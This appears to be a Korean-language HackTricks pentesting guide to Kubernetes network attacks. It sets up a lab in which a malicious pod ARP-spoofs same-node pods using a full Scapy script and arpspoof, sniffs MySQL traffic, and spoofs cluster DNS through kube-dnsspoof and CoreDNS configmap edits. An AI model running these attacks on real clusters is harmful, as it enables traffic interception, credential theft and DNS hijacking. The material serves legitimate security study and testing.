# Kubernetes Network Attacks {{#include ../../banners/hacktricks-training.md}} ## Introduction Kubernetes에서는 기본 동작으로 **같은 node에 있는 모든 container 간 연결**이 허용되는 것이 관찰됩니다. 이는 namespace 구분과 무관하게 적용됩니다. 이러한 연결성은 **Layer 2** (Ethernet)까지 이어집니다. 따라서 이 설정은 잠재적으로 시스템을 취약하게 만들 수 있습니다. 특히, 같은 node에 위치한 다른 container를 대상으로 **malicious container**가 **ARP spoofing attack**을 수행할 수 있게 됩니다. 이러한 attack 동안 malicious container는 다른 container를 위해 의도된 network traffic을 기만적으로 가로채거나 수정할 수 있습니다. ARP spoofing attack은 **attacker가 위조된 ARP** (Address Resolution Protocol) 메시지를 local area network를 통해 보내는 것을 포함합니다. 그 결과 **attacker의 MAC address가 네트워크상의 정상 computer 또는 server의 IP address와 연결**됩니다. 이러한 attack이 성공적으로 실행된 후에는 attacker가 전송 중인 data를 가로채거나, 수정하거나, 심지어 중단시킬 수도 있습니다. 이 attack은 OSI model의 Layer 2에서 수행되므로, Kubernetes에서 이 계층의 기본 연결성은 security concerns를 야기합니다. 이 scenario에서는 4 machines가 생성됩니다: - ubuntu-pe: node로 escape하고 metrics를 확인하기 위한 privileged machine (attack에는 필요하지 않음) - **ubuntu-attack**: default namespace의 **malicious** container - **ubuntu-victim**: kube-system namespace의 **victim** machine - **mysql**: default namespace의 **victim** machine ```yaml echo 'apiVersion: v1 kind: Pod metadata: name: ubuntu-pe spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-pe securityContext: allowPrivilegeEscalation: true privileged: true runAsUser: 0 volumeMounts: - mountPath: /host name: host-volume restartPolicy: Never hostIPC: true hostNetwork: true hostPID: true volumes: - name: host-volume hostPath: path: / --- apiVersion: v1 kind: Pod metadata: name: ubuntu-attack labels: app: ubuntu spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-attack restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: ubuntu-victim namespace: kube-system spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-victim restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: mysql spec: containers: - image: mysql:5.6 ports: - containerPort: 3306 imagePullPolicy: IfNotPresent name: mysql env: - name: MYSQL_ROOT_PASSWORD value: mysql restartPolicy: Never' | kubectl apply -f - ``` ```bash kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash" kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` ## Basic Kubernetes Networking 여기서 소개된 networking 주제에 대한 더 자세한 내용이 필요하면, references를 확인하세요. ### ARP 일반적으로, **node 내부의 pod-to-pod networking**은 모든 pod를 연결하는 **bridge**를 통해 제공됩니다. 이 bridge는 “**cbr0**”라고 불립니다. (일부 network plugin은 자체 bridge를 설치합니다.) **cbr0는 ARP** (Address Resolution Protocol) resolution도 처리할 수 있습니다. incoming packet이 cbr0에 도착하면, ARP를 사용해 destination MAC address를 resolve할 수 있습니다. 이 사실은 기본적으로 **같은 node에서 실행 중인 모든 pod**가 같은 node의 다른 어떤 pod와도 namespace와 무관하게 ethernet level (layer 2)에서 **communicate**할 수 있음을 의미합니다. > [!WARNING] > 따라서, 같은 node의 pod 사이에서 A**RP Spoofing attacks**를 수행할 수 있습니다. ### NetworkPolicy and admin policy layers Kubernetes `NetworkPolicy`는 L3/L4에서의 pod traffic control이지만, API server 자체가 아니라 CNI plugin에 의해 enforced됩니다. cluster는 NetworkPolicy objects를 저장하면서도, active CNI가 이를 구현하지 않으면 traffic을 계속 허용할 수 있으므로, 항상 controlled allowed source와 blocked negative-control source로 검증하세요. `kubectl get networkpolicy -A`에서 멈추지 마세요. Cilium, Calico, OVN-Kubernetes, Antrea, 또는 managed-provider dataplanes를 사용하는 cluster에는 `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, 또는 `BaselineAdminNetworkPolicy` 같은 policy API도 있을 수 있습니다. 이런 것들은 explicit deny, tier/order, cluster scope, L7/DNS rules, 또는 일반적인 additive Kubernetes NetworkPolicy semantics로는 설명되지 않는 admin guardrails를 추가할 수 있습니다. 유용한 첫 번째 확인: ```bash kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico' kubectl get networkpolicy -A kubectl get cnp,ccnp -A 2>/dev/null kubectl get globalnetworkpolicy -A 2>/dev/null kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null ``` 우회 분석을 위해, 의도된 차단이 허용된 proxy, DNS 또는 egress gateway, `hostNetwork` pod, node-local path, 넓은 namespace 또는 pod label selector, 또는 더 높은 우선순위의 admin/global policy를 통해 회피되는지 확인하세요. source pod labels, namespace labels, destination Service 또는 EndpointSlice, CNI/policy implementation, 판단에 사용된 policy rule, 그리고 traffic proof를 보고하세요. ### DNS kubernetes 환경에서는 보통 kube-system namespace에서 1개(또는 그 이상)의 **DNS 서비스가 실행 중**인 것을 찾을 수 있습니다: ```bash kubectl -n kube-system describe services Name: kube-dns Namespace: kube-system Labels: k8s-app=kube-dns kubernetes.io/cluster-service=true kubernetes.io/name=KubeDNS Annotations: prometheus.io/port: 9153 prometheus.io/scrape: true Selector: k8s-app=kube-dns Type: ClusterIP IP Families: IP: 10.96.0.10 IPs: 10.96.0.10 Port: dns 53/UDP TargetPort: 53/UDP Endpoints: 172.17.0.2:53 Port: dns-tcp 53/TCP TargetPort: 53/TCP Endpoints: 172.17.0.2:53 Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` 이전 정보에서 흥미로운 점을 볼 수 있습니다. **서비스의 IP**는 **10.96.0.10**이지만, 해당 서비스를 실행 중인 **pod의 IP**는 **172.17.0.2**입니다. 어떤 pod 안에서든 DNS 주소를 확인하면 다음과 같은 것을 볼 수 있습니다: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` 그러나 pod는 해당 **주소**로 가는 방법을 **모릅니다**. 이 경우 **pod range**는 172.17.0.10/26이기 때문입니다. 따라서 pod는 **DNS requests를 주소 10.96.0.10로 전송**하며, 이는 cbr0에 의해 **172.17.0.2로 변환**됩니다. > [!WARNING] > 이는 pod의 **DNS request**가 DNS server가 pod와 같은 subnetwork에 있더라도, **service IP를 endpoint IP로 변환**하기 위해 **항상** **bridge**를 거친다는 뜻입니다. > > 이를 알고, **ARP attacks are possible**하다는 점을 알면, node 안의 **pod**는 **각 pod**와 **bridge** 사이의 **subnetwork** 트래픽을 **intercept**하고 DNS server의 **DNS responses**를 수정할 수 있습니다(**DNS Spoofing**). > > 게다가, **DNS server**가 attacker와 **같은 node**에 있다면, attacker는 cluster의 어떤 pod에 대해서도 **모든 DNS request**를 (**DNS server**와 bridge 사이에서) **intercept**하고 응답을 수정할 수 있습니다. > [!NOTE] > 실제 cluster에서 이것이 동작한다고 가정하기 전에 활성 CNI와 DNS path를 검증하세요. 일부 CNI는 같은 node 트래픽을 다르게 route하거나 isolate하며, NodeLocal DNSCache를 사용하는 cluster는 pod DNS query를 CoreDNS로 전달하기 전에 node-local address로 보낼 수 있습니다. 이러한 환경에서는 DNS spoofing이 pod placement, packet capabilities, resolver configuration, node-local cache behavior, 그리고 applications가 TLS나 다른 identity mechanism으로 peer를 검증하는지 여부에 따라 달라집니다. ## 같은 Node의 pods에서 ARP Spoofing 우리의 목표는 **ubuntu-victim에서 mysql로 가는 통신 최소한을 훔치는 것**입니다. ### Scapy ```bash python3 /tmp/arp_spoof.py Enter Target IP:172.17.0.10 #ubuntu-victim Enter Gateway IP:172.17.0.9 #mysql Target MAC 02:42:ac:11:00:0a Gateway MAC: 02:42:ac:11:00:09 Sending spoofed ARP responses # Get another shell kubectl exec -it ubuntu-attack -- bash ngrep -d eth0 # Login from ubuntu-victim and mysql and check the unencrypted communication # interacting with the mysql instance ``` ```python:arp_spoof.py #From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py from scapy.all import * def getmac(targetip): arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip) targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc return targetmac def spoofarpcache(targetip, targetmac, sourceip): spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac) send(spoofed, verbose= False) def restorearp(targetip, targetmac, sourceip, sourcemac): packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip) send(packet, verbose=False) print("ARP Table restored to normal for", targetip) def main(): targetip= input("Enter Target IP:") gatewayip= input("Enter Gateway IP:") try: targetmac= getmac(targetip) print("Target MAC", targetmac) except: print("Target machine did not respond to ARP broadcast") quit() try: gatewaymac= getmac(gatewayip) print("Gateway MAC:", gatewaymac) except: print("Gateway is unreachable") quit() try: print("Sending spoofed ARP responses") while True: spoofarpcache(targetip, targetmac, gatewayip) spoofarpcache(gatewayip, gatewaymac, targetip) except KeyboardInterrupt: print("ARP spoofing stopped") restorearp(gatewayip, gatewaymac, targetip, targetmac) restorearp(targetip, targetmac, gatewayip, gatewaymac) quit() if __name__=="__main__": main() # To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward ``` ### ARPSpoof ```bash apt install dsniff arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing 이미 언급했듯이, **DNS server pod와 같은 node 안의 pod를 compromise**하면, **ARPSpoofing**으로 **bridge와 DNS** pod 사이에서 **MitM**할 수 있고 **모든 DNS responses를 modify**할 수 있습니다. 이것을 테스트할 수 있는 정말 좋은 **tool**과 **tutorial**이 [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)에 있습니다. 우리 시나리오에서는, attacker pod에서 **tool**을 **download**하고 다음처럼 **spoof**하고 싶은 **domains**가 들어 있는 **`hosts`라는 file**을 생성합니다: ``` cat hosts google.com. 1.1.1.1 ``` ubuntu-victim 머신에 대해 공격을 수행하세요: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 Bridge: 172.17.0.1 02:42:bd:63:07:8d Kube-dns: 172.17.0.2 02:42:ac:11:00:02 [+] Taking over DNS requests from kube-dns. press Ctrl+C to stop ``` ```bash #In the ubuntu machine dig google.com [...] ;; ANSWER SECTION: google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] > If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\ > You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction). ## DNS Spoofing via coreDNS configmap `coredns` configmap에 대한 write permissions가 있는 사용자는 kube-system namespace의 cluster DNS 응답을 수정할 수 있습니다. 또한 배포되어 있다면 NodeLocal DNSCache도 확인하세요. 보통 hostNetwork DaemonSet으로 실행되며, 자체 ConfigMap, logs, cache, 그리고 forwarding path를 가집니다. CoreDNS 변경이 DNS 동작에 영향을 주거나 이를 관찰할 수 있는 유일한 지점은 아닐 수 있습니다. 이 공격에 대한 더 많은 정보는 다음에서 확인하세요: {{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} ## Abusing exposed kubernetes management services Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, 그리고 Kubernetes dashboard 같은 서비스는 종종 인터넷이나 kubernetes network 내부에 노출됩니다. **kubernetes를 관리하는 데 사용되는 어떤 플랫폼이든 찾아서 접근하는 데 성공한 공격자**는 이를 악용해 kubernetes API에 접근하고 새 pods를 생성하거나, 기존 pods를 수정하거나, 심지어 삭제하는 등의 작업을 수행할 수 있습니다. ## Enumerating kubernetes network policies 설정된 **networkpolicies** 가져오기: ```bash kubectl get networkpolicies --all-namespaces ``` Get **Callico** network policies: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` Get **Cillium** network policies: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` 네트워크 plugin 또는 security solution이 설치한 다른 policy-related CRD를 확인하세요: ```bash kubectl get crd | grep -i policy ``` ## Traffic 캡처 도구 [**Mizu**](https://github.com/up9inc/mizu)는 Kubernetes를 위한 간단하지만 강력한 API **traffic viewer**로, **microservices 간의 모든 API communication을 볼 수 있게 해주며** debug하고 regression을 troubleshoot하는 데 도움을 줍니다.\ 이 도구는 선택한 pods에 agents를 설치하고 그들의 traffic information을 수집한 뒤 web server에 표시합니다. 다만, 이를 위해서는 높은 K8s permissions가 필요합니다(그리고 그리 stealthy하지도 않습니다). ## References - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) {{#include ../../banners/hacktricks-training.md}}